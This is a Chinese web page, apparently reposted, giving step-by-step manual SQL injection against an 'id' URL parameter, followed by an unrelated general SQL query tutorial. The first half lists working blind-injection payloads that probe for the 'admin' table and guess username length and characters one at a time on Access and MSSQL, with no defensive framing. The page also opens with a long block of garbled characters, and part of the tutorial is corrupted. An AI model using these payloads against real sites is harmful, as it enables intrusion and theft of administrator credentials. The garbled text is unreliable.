闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾惧湱鈧懓瀚崳纾嬨亹閹烘垹鍊為悷婊冪箻瀵娊鏁冮崒娑氬幈濡炪値鍘介崹鍨濠靛鐓曟繛鍡楃箳缁犳娊鏌嶈閸撴瑧绮诲澶婄?闂侇剙鍗曢崶顒夋晬婵犲﹤鎳愰悞濂告煟鎼搭垳绉甸柛瀣╃劍缁傚秴饪伴崼鐔哄幐闂佸憡鍔戦崝宀勫焵椤掑倹鏆鐐茬箻閸╁嫰宕樿缁犳艾顪冮妶鍡楀闁稿﹥娲熷鎼佸箣濠€垹閰e畷鎯邦檪闂婎剦鍓熼弻鐔碱敊閻e本鍣板銈冨灪濡啫鐣烽悢鐓幬╅柕澶堝€曢ˉ姘舵煟閻斿摜鐭婄紒缁樺浮瀹曟岸骞掗幘鍓佺槇濠殿喗锕╅崜娑㈩敇濞差亝鈷戦柟绋垮閻撱儵鏌涘Ο鑽ょ煉鐎规洘鍨块獮妯肩磼濡粯鐝栭梻渚€鈧偛鑻晶鎾煙椤曗偓缁犳牠寮幘缁樺亹闁肩⒈鍓﹂崥瀣繆閻愵亜鈧牕螞娴h鍙忛柕鍫濐樈閺佸﹪鏌¢崶銉ョ仾闁抽攱甯掗湁闁挎繂鎳忛幉鍝ョ磼婢跺苯鍔嬪ǎ鍥э躬椤㈡洟濮€閳ュ厖娣梻浣筋嚃閸犳岸宕戦妶澶婃瀬闁告劦鍠栫壕鍏兼叏濡潡鍝洪柣鎿勭秮濮婄粯鎷呴崫銉ㄥ┑鈽嗗亜濞硷繝骞冮悙鐑樻櫇闁稿本绋戞禍妤呮⒑闂堟侗妲撮柡鍛矒閹繝鎮㈤崗鑲╁幐闂佹悶鍎弲娑欑濠婂牊鐓冪憸婊堝礈濞嗗骏鑰块梺顒€绉撮悞鍨亜閹哄秷鍏岄柛鐔哥叀閺岀喖宕欓妶鍡楊伓     濠电姷鏁告慨鐑藉极閸涘﹥鍙忛柣鎴f閺嬩線鏌涘☉姗堟敾闁告瑥绻橀弻锝夊閻樺樊妫岄梺杞扮閿曨亪寮婚垾鎰佸悑閹肩补鈧磭顔愰梻鍌氬€搁崑鍡涘垂闁秴桅闁告洦鍨伴崘鈧梺闈浤涢崨顖氬笌缂傚倸鍊峰ù鍥╃礄娴兼潙纾规繝闈涱儏閽冪喖鏌ㄥ┑鍡╂Ч闁哄懏鐓¢弻娑樷槈閸楃偞鐏嶉梺鍦厴娴滃爼骞冨Δ鍐╁枂闁告洦鍓涢ˇ銊╂⒑缂佹ɑ鎯堢紒缁樼箓椤曪絾绻濆顓炰簻闁荤偞绋堥埀顒€鍘栨竟鏇炩攽閻愭潙鐏︽い蹇庡嵆楠炲鏁冮埀顒傚閸ф鐓涢柛銉㈡櫅閺嬫梻绱掗悩鑽ょ暫闁哄瞼鍠撻埀顒佺⊕宀e潡骞婇崘顔界厽闊洤锕ュ▍濠囨煛瀹€瀣М妤犵偞岣块埀顒勬涧閹诧繝宕氬☉銏♀拺闁告繂瀚﹢浼存煟閳哄﹤鐏﹂柣娑卞櫍瀹曞爼顢楅埀顒傜矆閸岀偞鐓曟繝闈涘閸旀粓鏌¢崨顓滃仮婵﹦绮幏鍛存惞閻熸壆顐奸梻浣烘嚀閹诧繝骞冮崒鐐偓渚€寮介妸銉х獮婵犵數濮寸€涒晝绱炴惔鈾€鏀介柣鎰级閳绘洖霉濠婂嫮鐭掓鐐村灴閹虫粓鎮欓柅娑氱泿闂備浇顫夊畷妯衡枖濞戞瑧顩锋繝濠傚暊閺€浠嬫煃閳轰礁鏆為柕鍥ㄧ箖閹便劍绻濋崨顕呬哗闂佺懓寮堕幐鍐茬暦閻旂⒈鏁囬柣鏃偳归弲鎼佹⒑鐠囧弶鍞夋い顐㈩槸鐓ら柣鏂捐荡缂傛氨鎲搁弮鍫涒偓浣割潩鐠轰綍銊╂煥閺傚灝鈷旈柣锕€鐗撳娲箹閻愭彃濮岄梺鍛婃煥缁夋挳鍩㈠澶婎潊闁靛牆妫岄幏娲煟閻樺厖鑸柛鏂胯嫰閳诲秹骞囬悧鍫㈠幍闂佸憡鍨崐鏍偓姘炬嫹

45fan.com - 路饭网

搜索: 您的位置主页 > 网络频道 > 阅读资讯:注入手工SQL的步骤

注入手工SQL的步骤

2016-09-04 14:57:26 来源:www.45fan.com 【

注入手工SQL的步骤

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

 

检测表段的

 

http://127.0.0.1/xx?id=11 and exists (select * from admin)

 

检测字段的

 

http://127.0.0.1/xx?id=11 and exists (select username from admin)

 

检测ID

 

http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

 

检测长度的

 

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

 

 

检测长度的

 

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

 

检测是否为MSSQL数据库

 

http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

 

检测是否为英文

 

(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

 

(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

 

检测英文的范围

 

(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

 

(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

 

检测那个字符

 

(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

 

(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

 

常用函数

 

Access:asc(字符)SQLServer:unicode(字符)

作用:返回某字符的ASCII码

 

Access:chr(数字)SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符

 

Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

 

Access:abc(数字)SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)

 

Access:A between B And CSQLServer:A between B And C

作用:判断A是否界于B与C之间

 

and exists(Select top 1 * From 用户 order by id)

 

 

1.在查询结果中显示列名:

a.用as关键字:select name as ’姓名’ from students order by age

b.直接表示:select name ’姓名’ from students order by age

 

2.精确查找:

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)

b.between...and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d.like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)

 

 

3.对于时间类型变量的处理

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

 

 

4.集函数

a.count()求和,如:select count(*) from students (求学生总人数)

b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

c.max(列)和min(列),求最大与最小

 

5.分组group

常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)

注意:从哪种角度分组就从哪列"group by"

对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和

性别(gender),所以有"group by grade, mno, gender"

select grade, mno, gender, count(*) from students group by grade, mno, gender

通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:

select sno,count(*) from grades where mark<60 group by sno having count(*)>1

 

 

6.UNION联合

合并查询结果,如:

SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

 

 

7.多表查询

a.内连接

select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

 

左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积

 

 

8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡:

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如,下面两句是等价的:

select * from students where sno in (select sno from grades where cno=’B2’)

 

select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

 

 

9.关于排序order

a.对于排序order,有两种方法:asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:

select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

 

10.其他

a.对于有空格的识别名称,应该用"[]"括祝

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱:

如,没有选修‘B2’课程的学生 :

select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的,正确方式见下方:

select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

 

11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难???br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

 

本文地址:http://www.45fan.com/a/question/72192.html
Tags: sql 注入 手工
编辑:路饭网
  • 上一篇:汽车标志汇总
  • 下一篇:sun在线教材集锦
  • 关于我们 | 联系我们 | 友情链接 | 网站地图 | Sitemap | App | 返回顶部